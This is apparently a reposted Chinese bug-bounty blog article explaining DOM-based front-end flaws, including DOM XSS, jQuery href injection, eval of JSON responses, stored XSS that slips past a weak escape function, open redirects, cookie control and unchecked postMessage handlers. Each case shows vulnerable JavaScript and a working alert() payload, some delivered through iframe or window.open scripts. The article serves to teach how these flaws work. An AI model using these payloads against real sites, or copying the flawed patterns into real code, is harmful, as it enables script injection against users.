zoukankan      html  css  js  c++  java
  • 【转载】基于dom的一些前端漏洞

    最直接的xss

    —-dom xss

    function trackSearch(query) {
                            document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
                        }
                        var query = (new URLSearchParams(window.location.search)).get('search');
                        if(query) {
                            trackSearch(query);
                        }
    

    可以看到会从window.location.search获取search参数值写入img标签
    所以双引号闭合就可以xss
    payload

    https://www.xxxx.com/xxx?search="><svg/onload="alert(1)
    —-jQuery dom xss

    <div class="is-linkback">
                                <a id="backLink">Back</a>
                            </div>
                            <script>
                                $(function() {
                                    $('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
                                });
                            </script>
    

    可以看到会从window.location.search获取returnPath参数值写入a标签href属性
    所以a标签 写入JavaScript:alert() 点击即可触发
    payload

    https://www.xxxx.com/xxx?returnPath=JavaScript:alert()
    点击a标签的Back按钮就会触发
    —-反射+dom xss
    https://www.xxxx.com/?search=1
    首先一个搜索页面加载了一段js

     (function() {
        var xhr = new XMLHttpRequest();
        xhr.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {
                eval('var searchResultsObj = ' + this.responseText);
                displaySearchResults(searchResultsObj);
            }
        };
        xhr.open("GET", "/search-results" + window.location.search);
        xhr.send();
        function displaySearchResults(searchResultsObj) {
        ..........省略
    

    可是看到搜索是xhr去发起请求获取结果再显示出来
    xhr发起的请求
    https://www.xxxx.com/search-results?search=1
    返回内容

    {"searchTerm":"1","results":[{"id":5,"title":"Grandma's on the net","headerImage":"/content/blog/posts/8.jpg","summary":"I love old people and technology. I love the language they use, where they have to put the word 'the' in front of everything. The Facebook, The Twitter...the ones I love the most are the ones who show they have..."},{"id":3,"title":"Finding Inspiration","headerImage":"/content/blog/posts/31.jpg","summary":"I don't care who you are or where you're from aren't just poignant Backstreet Boys lyrics, they also ring true in life, certainly as far as inspiration goes. We all lack drive sometimes, or perhaps we have the drive but..."},{"id":2,"title":"Machine Parenting","headerImage":"/content/blog/posts/66.jpg","summary":"It has finally happened. The progression from using TV's and tablets as a babysitter for your kids has evolved. Meet the droids, the 21st Century Machine Parenting bots who look just like mom and dad."},{"id":1,"title":"New Year - New Friends","headerImage":"/content/blog/posts/43.jpg","summary":"It's always the same. A new year begins and those people you thought were your friends go, well, a bit weird. Your nearest and dearest, between them, have a very long list of things they want to change about themselves...."}]}
    

    可以看到返回内容会赋值searchResultsObj 使用函数displaySearchResults() 显示在页面,就会出现搜索结果
    关键赋值这里使用了eval('var searchResultsObj = ' + this.responseText);
    由于返回内容里有值我们可控 。1的地方是可控的
    所以我们只要闭合”};赋值,再用//注释掉后面的,中间就可以执行任意的js语句
    js执行过程如下

    eval('var searchResultsObj = {"searchTerm":"1"};可控地方;//","results":[]}');
    

    payload

    https://www.xxxx.com/?search=1"};alert();//
    由于json会转义" 变成" 所以多加个 转义 使"逃逸出来
    };闭合前面的赋值 中间可以写任意的js语句 //注释掉后面不需要的字符

    —-存储+dom xss
    https://www.xxxx.com/post?postId=2
    加载一段js

    (function () {
        let xhr = new XMLHttpRequest();
        xhr.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {
                let comments = JSON.parse(this.responseText);
                displayComments(comments);
            }
        };
        xhr.open("GET", "/post/comment" + window.location.search);
        xhr.send();
    
        function escapeHTML(html) {
            return html.replace('<', '&lt;').replace('>', '&gt;');
        }
    
        function displayComments(comments) {
            let userComments = document.getElementById("user-comments");
    
            for (let i = 0; i < comments.length; ++i)
            {
                comment = comments[i];
                let commentSection = document.createElement("section");
                commentSection.setAttribute("class", "comment");
    
                let firstPElement = document.createElement("p");
    
                let avatarImgElement = document.createElement("img");
                avatarImgElement.setAttribute("class", "avatar");
                avatarImgElement.setAttribute("src", comment.avatar ? comment.avatar : "/resources/images/avatarDefault.svg");
    
                if (comment.author) {
                    if (comment.website) {
                        let websiteElement = document.createElement("a");
                        websiteElement.setAttribute("id", "author");
                        websiteElement.setAttribute("href", comment.website);
                        firstPElement.appendChild(websiteElement)
                    }
    
                    let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author)
                    firstPElement.innerHTML = newInnerHtml
                }
    
                if (comment.date) {
                    let dateObj = new Date(comment.date)
                    let month = '' + (dateObj.getMonth() + 1);
                    let day = '' + dateObj.getDate();
                    ........省略
    

    评论依旧是js生成的
    先去 https://www.xxxx.com/post/comment?postId=2 获取评论
    使用displayComments()函数 写入页面
    本身是个储存xss
    可是js写入时过滤了
    let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author) 可以看到使用escapeHTML()函数过滤了下 就是把<>转成了实体
    这里是写入作者名造成的
    所以名字改成<<iframe/onload="alert()">>去评论就会变成储存xss

    —-url跳转

      let url=/https?://.+/.exec(location.hash)
        if(url) {
            location = url[0];
        }
    

    这个很简单location.hash 可控
    如果没有正则匹配 还可以造成xss
    payload

    https://www.xxx.com/#https://google.com
    —-Cookie操作

    document.cookie = 'Url='+location.hash.slice(1);
    

    这种由于location.hash可控所以我们可控制cookie中Url的值
    看Url值具体用法,才能体现具体危害
    如果url的值会输出到某个页面的

    <a href="">
    

    里,那点击之后就是个xss,也可以url跳转

    —-postMessage

    <script>
    window.addEventListener('message', function(e){
        eval(e.data);
        });
    </script>
    

    这里没有任何验证 直接eval 就会xss
    payload

    <iframe src="//www.xxxx.com" onload="this.contentWindow.postMessage('alert(1)','*')">
    

    如果网页不允许iframe

    <script>
    var popup = window.open('https://www.xxxx.com');
    function xss(){popup.postMessage("alert(1)","*")}
    setInterval(xss,1000);
    </script>
    

    如果验证来源,视情况绕过
    最常见的是使用indexOf() 大多数情况可以绕过

    解析json造成的xss

    <script>
                                window.addEventListener('message', function(e) {
                                    var iframe = document.createElement('iframe'), ACMEplayer = {element: iframe}, d;
                                    document.body.appendChild(iframe);
                                    try {
                                        d = JSON.parse(e.data);
                                    } catch(e) {
                                        return;
                                    }
                                    switch(d.type) {
                                        case "page-load":
                                            ACMEplayer.element.scrollIntoView();
                                            break;
                                        case "load-channel":
                                            ACMEplayer.element.src = d.url;
                                            break;
                                        case "player-height-changed":
                                            ACMEplayer.element.style.width = d.width + "px";
                                            ACMEplayer.element.style.height = d.height + "px";
                                            break;
                                    }
                                }, false);
                            </script>
    

    触发的方式不只一种 最简单的是ACMEplayer.element.src = d.url;
    直接设置iframe的src
    json只要有type 和url即可

    {"type":"load-channel","url":"javascript:alert()"}
    

    payload

    <iframe src='https://www.xxxx.com' onload='this.contentWindow.postMessage("{"type":"load-channel","url":"javascript:alert()"}","*")'>
    

    from
    Jinone bugbounty

    Pickmea,lets do it!
  • 相关阅读:
    如何将一个用utf-8编码的文本用java程序转换成ANSI编码的文本
    【笔记】Nginx热更新相关知识
    网站性能测试工具 webbench 的安装和使用
    Windows 7环境下网站性能测试小工具 Apache Bench 和 Webbench使用和下载
    【笔记】Rancher2.1容器云平台新特性
    MinTTY终端模拟器要点
    CEBX格式的文档如何转换为PDF格式文档、DOCX文档?
    Rancher2.0与DataDog集成部署
    使用Docker方式创建3节点的Etcd集群
    NTP服务器时间同步
  • 原文地址:https://www.cnblogs.com/pickmea/p/13307183.html
Copyright © 2011-2022 走看看